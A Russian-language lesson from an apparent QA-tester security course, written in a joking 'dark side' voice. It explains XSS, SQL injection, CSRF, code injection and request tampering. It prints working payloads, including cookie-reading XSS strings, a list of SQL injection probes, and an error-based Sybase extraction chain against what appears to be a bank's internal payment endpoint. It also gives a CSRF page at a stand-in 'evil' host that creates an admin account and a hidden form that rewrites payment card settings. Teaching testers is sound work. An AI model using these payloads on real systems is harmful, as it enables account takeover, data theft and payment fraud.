top of page

Уровень 21

Тестирование безопасности

XSS бывает пассивной и активной

 

XSS принято классифицировать по двум критериям: вектору и способу воздействия. Cпособ воздействия также делится на 2 в вида - “активный” и “пассивный”. Эти понятия расшифровуются так: активной является XSS не требующая каких-либо лишних действий со стороны пользователя с точки зрения функционала веб-приложения, в отличии от пассивной.

То есть активная это просто скрипт который внедрился на сайт и выполнится при обработке страницы, а пассивная должны быть инициирована пользователем либо хакером (клик, просмотр, получения сообщения)

 

По вектору воздействия, XSS делится на отраженную (возвращаемую сервером в ответ на тот же запрос, в котором был передан вектор эксплуатации), устойчивую (сохраняемую на сервере и доступную во всех ответах на один и тот же запрос, не содержащий вектор эксплуатации) и основанную на объектной модели документа (проведение которой возможно без отправки каких-либо запросов на сервер).

 

Если ты вдруг забыл то XSS - это атака на пользователя направлена на выполнение в его браузере произвольного сценария

 

Это определение вы найдете в интернете для XSS, но это не совсем так. Для того, чтобы выполнить произвольный сценарий в браузере жертвы, достаточно было бы заманить его на специально подготовленную страницу, размещенную на контролируемом злоумышленником сервере. XSS же направлена не просто на выполнение произвольного сценария, а на его выполнение в контексте источника конкретного сайта с целью обхода политик единого источника (Same Origin Policy, SOP) и, в результате, получения доступа к данным и функционалу клиентской части веб-приложения в рамках пользовательской сессии и с правами ее пользователя. Это атака, в первую очередь, на веб-приложение, реализующая угрозу именно в нем, а не в браузере пользователя. 

​

Немного поясню эти сложные определения: один и тот же вредоносный скрипт который ворует cookie можно выставить на своем сайте, и тогда он не будет представлять опасности ибо он никому особо не нужен, как и его cookie. Совсем другое дело внедрить скрипт в facebook, тогда у всех кто увидит сообщение от вас будут украдены cookies = доступ к их аккаунтам.

Переходи на темную сторону, мы с тобой такое сможем сделать, что ты даже представить себе не можешь.

Тебе знать, как протестировать безопасность чтобы стать настоящим тестировщиком (но на самом деле мы научим тебя темной силе ситхов и хакеров)

​

Основные силы ситхов это:

XSS уязвимости

       SQL injection

       CSRF уязвимости (XSRF)

       Code injection (и пр. редкие)

       Перехват данных

XSS уязвимости
Задача тестировщика
Пасивный и активный xss
XSS уязвимости

Наиболее часто встречаются:

 

  • Введения скрипта в форму на сайте и

    выполнения его на следующем шаге или в админке или у другого пользователя

 

  • Внедрения скрипта в URL сайта

 

  • Внедрения скрипта в  запрос

В моем личном опыте XSS это уязвимость номер 1 Т.к. она чаще всего встречается и наносит сильный вред, а также ее легко эксплуатировать.

 

Cross Site Scripting — «межсайтовый скриптинг») - тип атаки на веб-системы, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (который будет выполнен на компьютере пользователя при открытии им этой страницы) и взаимодействии этого кода с веб-сервером злоумышленника.

 

Для того чтобы понять что такое  XSS давай взглянем на этот код:

 

<?php
header( 'Refresh: 5; url=' . $_GET['url']);

<html>
   <head>
       <meta http-equiv="refresh" content="5;url=<?=$_GET['url']?>"></meta>
   </head>
</html>

 

Из анализа кода становится понятно что запросом вида http://localhost/?url="><script>alert("XSS")</script><!-- легко и непринужденно реализуется, собственно, межсайтовое выполнение сценариев.

 

Почему? Потому что любой браузер выполнит JavaScript как внутри страницы, так и если он включен в запрос. Это основные его рабочие функции. Ведь браузер не знает является ли ваш код вредоносным или нет. Отсюда следует что задача программиста - обеспечить выполнение правильного кода и ограничить выполнение вредоносного. Задача же тестировщика - проверить, что нет возможности внедрить вредоносный код так чтобы он выполнялся в браузере.

​

Немного уточним по коду который анализировался. Команда url=<?=$_GET['url']?> берет содержания строки URL в чистом видет и при обновлении выполняет ее заново со всем что туда допишет пользователь

Задача тестировщика

Задача Тестировщика - обнаружить уязвимость и создать баг, для того чтобы программист ее устранил и хакеры не могли осуществить атаку на ваш сайт.

 

Разница между уязвимостью и атакой в том, что устранение уязвимости позволяет избавится и от всех эксплуатирующих ее атак, а вот устранение конкретной атаки - от самой уязвимости не избавляет. Простой пример: если мы, рассматривая данную XSS как уязвимость, устраним ее с помощью URL-кодирования каждого фрагмента переданного скрипту URL'а, то на возможность проведения атаки злоупотребления функционалом перенаправления это совершенно не повлияет,- злоумышленник по-прежнему будет иметь возможность перенаправить пользователя на произвольный, корректно сформированный URL. Вместо того, чтобы бороться со следствиями, мы должны побороть причину, а именно - устранить ту самую, единственную уязвимость, которая позволяет проводить все эти атаки.

 

В данном случае, уязвимость заключается в том, что GET-параметр url не обрабатывается должным образом ни при передаче в скрипт веб-сервером, ни перед его использованием в выходных данных.

Прошу любить и жаловать: данная уязвимость относится к классам неправильной обработки входных и выходных данных и является самой распространенной уязвимостью, благодаря которой возможно проведение большинства известных на сегодняшний день атак. Следовательно, чтобы устранить эту уязвимость, необходимо обеспечить правильную и достаточную обработку данных обоих типов, при этом очевидно, что в данном случае, URL-кодирование достаточным не является

 

Примеры XSS уязвимостей форм ввода данных

Дарт вейдер общался с поддержкой банка при этом отправил оператору тег картинки <IMG SRC="javascript:alert('XSS');"> в внедренным JS кодом. Код выполнился у него и у оператора, можно его хакнуть и самому стать оператором! 

Примеры Xss уязвимостей

На предыдущем изображении показаны настройки получателя интернет оплаты. Вместо данных предпринимателя ситхи ввели XSS свой код. Как результат он выполняется на стороне администратора бэк офиса (админки). Доступ хакера к админке платежной системы это - крах.

XSS уязвимости в URL

Состоит в добавления вместо какого либо из параметров запроса javascript тега. Уязвимость является активной - для атаки нужно передать зараженных URL жертве или дождаться пока она нажмет на кнопку на стороннем сайте.

Вот тебе пример:

www.mysite.com/confirmaddress?address=<script>alert(document.cookie)</script>

или

www.mysite.com/confirmaddress?address=%3Cscript%3Ealert%28document.cookie%29%3C%2fscript%3E

 

Основной инструмен хакера  в этом случае - URL энкодер

Помимо внедрения в существующий параметр можно передавать новый:

 

www.mysite.com/confirmaddress?address=city"><script>alert(1);</script>&path="><script>alert(2);</script>

http://testsite.test/<script>alert("TEST");</script>

XSS уязвимости в URl
Внедрения  XSS в  запрос.

Суть XSS таже что и в первых двух вариантах, но задача хакера состоит в том чтобы обойти проверку на клиенте.

Бывает так что скрипты фильтруются на клиенте но не фильтруются на сервере. Задача состоит в том чтобы обойти эту проверку, и отправить запрос напрямую на сервер.

 

  • Отключить выполнение скриптов на странице добавить XSS , и включить выполнение

 

  • Отправить прямой POST / GET запрос с XSS  в обход клиентской формы

 

  • Внедрится в запрос и добавить XSS

Внедрение XSS в запрос
Помощь при проверке  XSS

Крайне полезны в этом вопросе Mazilla модули. Так как FireFox свободно конфигурируемый браузер, все хакеры используют именно его. Мало того уже есть много готовых модулей к FireFox которые помогут вам в попытке взломе. Приведем примеры:

 

XSS ME - проверка форм сайта автоматически на основные XSS теги (после нужно составить XSS запрос вручную)

 

REST client - аддон для отправки запросов. Если у вас есть подозрения что можно отправить зараженный скриптом запрос, это ваш случай.

 

Right click XSS - наиболее эффективен при ручном анализе полей на XSS. Рекомендуем установить все аддоны сейчас же.

 

Программные комплексы для автоматического поиска уязвимостей. Эти программы возможно платные, так что гуглите:

Acunetix Web Vulnerability Scanner 

Netsparker

 

Итак, давай подведем итог. XSS наиболее эксплуатируемая хакерами уязвимость. Очень опасная для банковских продуктов (риск похищения денег). Для нужны знания основ JavaScript, но тем не менее её проще всего найти неискушенному тестировщику.

Держи ссылку, там еще кое-что про XSS

SQL injection

SQL injection - это внедрение чужеродного SQL запроса в программный запрос. Суть уязвимости в том, что помимо основного запроса или в ущерб ему выполнится сторонний запрос который вскроет базы данных владельцев сервера. Например: добавить запроc который покажет все имена и данных клиентов сайта, либо вообще уничтожит Базу Данных (далее БД).

 

Почему такое происходит? Потому что обычно запрос формируется на клиентской части сайта, а обрабатывается на сервере, и иногда бывает что защиты от внедрение SQL инъекции  нет или она стоит только на клиенте, тогда-то защищенная информация из БД выдаётся в виде системных ошибок SQL. Становится понятно, что цель вашего тестирования - получить SQL ошибку.

​

Каким способом добиваются этого:

 

  • Внедряется непосредственно в видимый URL (текущие запросы)

 

  • Внедряется в фоновые запросы и в передаваемые данные (RAW, XML, JSON ... )

 

Затем находят SQL инъекцию по SQL ошибке выдаваемой пользователю.

 

Основное правило - пользователь никогда не должен видеть SQL ответов или ошибок в не обработанном виде.

 

Цель тестирования - вызвать нестандартный ответ от Базы Данных.

SQL injection

Для понимания опасности SQL инъекции нужно сделать попытку её эксплуатации. Для получения каких либо данных из БД нужно понимать её тип (Sybase, mySQL, Oracle ...). Обязательно нужно знать основы SQL. Не бойся, ты выучишь это в 17 уровне

 

Методология выявления инъекции. Автоматизировано либо в ручную в значения параметров запросов добавляют кавычку (она прервет запрос) либо логически неправильное выражение (выдаст SQL exeption)

 

Например :

'

'1

1 OR 1=1

1 AND 1=1

1' AND 1=(SELECT COUNT(*) FROM tablenames); --

1 AND USER_NAME() = 'dbo'

\'; DESC users; --

' OR username IS NOT NULL OR username = '

 

Расширенный список вариантов внедрения в SQL запрос

Вот тебе пример найденой SQL инъекции.

(Error-based Sybase Database SQL Injection)

 

При анализа POST запроса было обнаружено что при добавлении ' в параметр logID выводило сообщение типа error in SQL querry.

Проанализировав данную ошибку я пришел к выводу что есть возможность вытянуть конфиденциальные данные этим путем. Вот сам запрос

http://10.1.108.109:9080/p24/privatmoney?step=2&a_card=4*-47*1&commission=1.0'&destinationCountry=UA'&logID=32705'&paymentCcy=UAH'&pmTerms=on&receiverCard=123'&receiverFirstName=test'&receiverLastName=TESTovich'&receiverMiddleName=test'&totalPay=13.0+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--&txtSumm=12'

 

Держи скриншот, воин, чтобы лучше разобраться

На данном скриншоте, видно что в виде ошибки был выдан ответ от базы данных вместо обработанной ошибки. Ожидаемый результат тут - "Не верный запрос". Больше никакой технической информации клиенту сообщать нельзя. Далее демонстрируем как на базе этой информации будет произведен взлом.

Разборка случая

Возникло подозрение что в данном месте возможна инъекция.

 

Предполагая что БД будет sybase я добавил SQL код который вернул версию БД +and+1=convert%28integer,@@version%29--

​

Вот атакующий запрос:

http://10.1.108.109:9080/p24/privatmoney?step=2&a_card=4*-47*1&commission=1.0'&destinationCountry=UA'&logID=32705+and+1=convert%28integer,@@version%29--&paymentCcy=UAH'&pmTerms=on&receiverCard=123'&receiverFirstName=test'&receiverLastName=TESTovich'&receiverMiddleName=test'&totalPay=13.0+and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--&txtSumm=12'

​

Действительно - вернуло версию, тогда можно попытатся узнать имя таблицы для Sybase, добавляем  +and+1=convert(integer,(select+min(name)+from+sysobjects where type='U'))--

 

Выдало имя 1й таблицы PMRoles - добавляя методом исключения имена открытых таблиц можно узнать и все остальные PrivatMoneyLog;

​

Далее зная имя таблицы можно узнать имя столбца

+and+1=convert(integer,(select+min(name) from syscolumns where id= (select id from sysobjects where type='U' and name=PrivatMoneyLog)))--

Можно узнать имена всех таблиц, столбцов и вытянуть банковские данные. Уязвимость на лицо.

 

Главное не увлекаться дабы не повредить данные самому!

Теперь то ты сможешь понять шутку про отца хакера. И на последок, держи статью про эксплуатацию SQL инъекции

CSRF уязвимость

CSRF (англ. Сross Site Request Forgery — «Подделка межсайтовых запросов», также известна как XSRF) — вид атак на посетителей веб-сайтов, использующий недостатки протокола HTTP. Если жертва заходит на сайт, созданный злоумышленником, от её лица тайно отправляется запрос на другой сервер (например, на сервер платёжной системы), осуществляющий некую вредоносную операцию (например, перевод денег на счёт злоумышленника). Для осуществления данной атаки, жертва должна быть авторизована на том сервере, на который отправляется запрос, и этот запрос не должен требовать какого-либо подтверждения со стороны пользователя, который не может быть проигнорирован или подделан атакующим скриптом.

CSRF уязвимость

Как то сложно понять в чем тут уязвимость и кто что подменяет. Я знаю что можно отправить любой запрос на любой сервер, но он же его не примет без авторизации на этом сервере!

Дам тебе пример на практике, мой молодой последователь темных сил: возьмем известную социальную сеть, пост новости на стене вконтаке формируется через POST запрос. Существовала уязвимость, в том, что если вы залогинены вконтаке и посещаете некий вредоносный сайт, то от вашего имени отправляется такой же запрос на сервер вконтаке с рекламным или компрометирующим вас постом. И так как у пользователя  есть активные cookie этого сайта и у вконтакте была XSRF уязвимость, пост сгенерированный вредоносным сайтом публиковался от имени этого юзера, потому что сервер его "знает" благодаря cookie.

Реализация и проверка CSRF

Суть уязвимости - в том что сервер принимает запросы от сторонних сайтов. При входе на них жертва (если залогиненая на нашем ресурсе) отправит запрос в свой аккаунт с мошенническими настройками.

 

Например, в случае интернет банкинга (в моей практике):

 

  • Отправится письмо операционисту с сторонним текстом, от пользователя посетившего хакерский сайт

 

  •  Изменятся настройки приема платежей не на свою карту, а на карту мошенника

 

Как искать уязвимость:

 

  •  Копируется один из запросов создаваемый формой на оригинальном сайте.

 

  • Создаётся на его основе web-компонент (отправляющий идентичный запрос, но уже с другими данными), это может быть картинка, невидимая форма,  кнопка не особо важно - главное что элемент будет срабатывать при входе на страницу.

 

  • Проще всего создать форму отправки. Она помещается на стронний ресурс - блог, сайт итд.

 

  •  Тестировщик заходит на сайт с формой при активной сессии тестируемого ресурса

 

  •  Теперь нужно проверить не изменились ли данные в вашем аккаунте после отправки запроса из стороннего сайта. Вы отслеживаете у себя в аккаунте, возникли ли изменения вызванные тем запросом что забили в форму. 

Немного практики

Возьмем, к примеру, сферический сайт в вакууме, который имеет вполне стандартную админку с функцией добавления нового администратора:

Разработчик данной формы ничего не знал об уязвимости CSRF, и защиты от нее он, естественно, не делал. Ну и плюс ко всему (чтобы пример был проще) он передавал данные методом GET. По нажатию кнопки «создать» браузер сформирует запрос к следующей странице:

 

http://site/admin/?do=add_admin&new_login=NewAdmin&new_pass=NewPass&new_mail=NewAdmin@Mail.Com

 

И после того как запрос будет выполнен, на данном сайте появится новый администратор. Казалось бы что с того — это вполне обычная функциональность на многих сайтах. Но здесь то и кроется главная ошибка. Жертву можно заставить выполнить данный запрос при заходе на абсолютно другой сайт. Создаем следующую страницу по адресу http://evil/page.html

 

 

 

 

 

 

 

 

 

 

 

 

 

И теперь, если жертва зайдет на http://evil/page.html, то браузер попытается загрузить картинку, но вместо этого выполнит запрос к админ панели, тем самым создав нового администратора. Единственным обязательным условием успешной эксплуатации данной уязвимости является необходимость того, что жертва должна быть авторизована на уязвимом сервере в момент проведения атаки.

 

<html>
<head>
<title>Обычная страница</title>
</head>
<body>
С обычным текстом. Но с необычным содержимым
<img src="http://site/admin/?do=add_admin&new_login=Xaker&new_pass=Pass&new_mail=xaker@evil.Com" alt="" width="1" height="1" />
</body>
</html>

Реализация и проверка CSRF
Заключение

С тем, что такое CSRF мы разобрались. Давайте попробуем выделить основные требования для успешного проведения атаки:

 

  • Возможность вынудить жертву перейти на страницу с дополнительным кодом. Или возможность модификации злоумышленником часто посещаемых жертвой страниц - как говорится если гора не идет к Магомету, то…

 

  • Отсутствие защиты от CSRF на целевом сайте (это забота web программистов).

 

  • Пользователь в момент атаки должен быть авторизован для действия, которое мы хотим выполнить от его имени

Пример из практики

Данная форма при помещении в блог, по нажатию на кнопку изменяла настройки приема средств в аккаунте платёжной системы liqpay.com, если пользователь залогинен.

 

<html>

<head>

</head>

<body>

<form action='https://newcnb.test.liqpay.com/' method='POST'>

      <input type='hidden' name='do' value='shop_connect' />

      <input type='hidden' name='m_name' value='test' />

  <input type='hidden' name='m_en_name' value='123' />

  <input type='hidden' name='m_url' value='www.TEST.com' />

  <input type='hidden' name='m_email' value='test@gmail.com' />

  <input type='hidden' name='m_wayout' value='account' />

      <input type='hidden' name='m_card' value='5577212915890290' />

      <input type='hidden' name='card' value='5577212915890290' />

      <input type='hidden' name='currency' value='EUR' />

      <input type='hidden' name='m_account' value='26004052713410' />

      <input type='hidden' name='phone' value='8200049968880' />

      <input type='hidden' name='m_company' value='ооо ооо' />

      <input type='hidden' name='m_mfo' value='300711' />

      <input type='hidden' name='m_okpo' value='2814221710' />   

<input type='submit' value='Pay'/>

</form>

</body>

<html>

 

Code and command injection

Code and command injection - относится к уязвимостям связанным с выполнение программного кода на веб странцие. В основном это PHP код, и значительно реже Perl, ASP и пр. Может применятся на веб проектах написанных на этих языках. Тема довольно таки узкая, кроме того требует навыков программирования от взломщика. Запомните о существовании таких уязвимостей, и если ваш проект окажется написан на одном из этих языков подымите потом эту информацию для тестирования безопасности. На данный момент достаточно ознакомится с примерами таких уязвимостей в этих статьях:

 

Подробнее для PHP (PHP-including)

 

Подробнее для Perl

 

Опасность таких уязвимостей очень велика, т.к. можно выполнить с помощью них команды на сервере (выключить его например). Но они крайне редко встречаются, вернее осталось мало придурков которые допускают такие серьезные про...белы

 

Эти другие редкие уязвимости собраны в этом документе

 

Code and command injection
Перехват данных

Специфическая для банковских продуктов уязвимость. Состоит в перехвате запросов при их выполнении и внедрения своих данных. Изменение суммы платежа или карты плательщика. Действовать нужно крайне аккуратно и предупреждать коллег при тестировании.

 

Инструмент - Tamper Data, плагин для Mazilla. 

Облпсть применения - банковские операции и другие места с засекреченыыми данными

 

Перехват данных
Практика

Несколько заданий чтобы попрактиковаться.

 

Стань хакером и перейди на темную сторону с помощью XSS тренажера

 

Пройди SQL injection квест

 

Принеси мне голову программиста, а также отправь скриншоты уровня которого ты достигнешь в каждом квесте

​

Да и темные силы также проходят свои темные тесты, вот один и для тебе приберег я

Тест
Отправить скриншоты

Уровень 22

Для перехода на уровень 13, необходимо набрать минимум 12 балла (60%)  за задания уровня 12.

​

Практика
bottom of page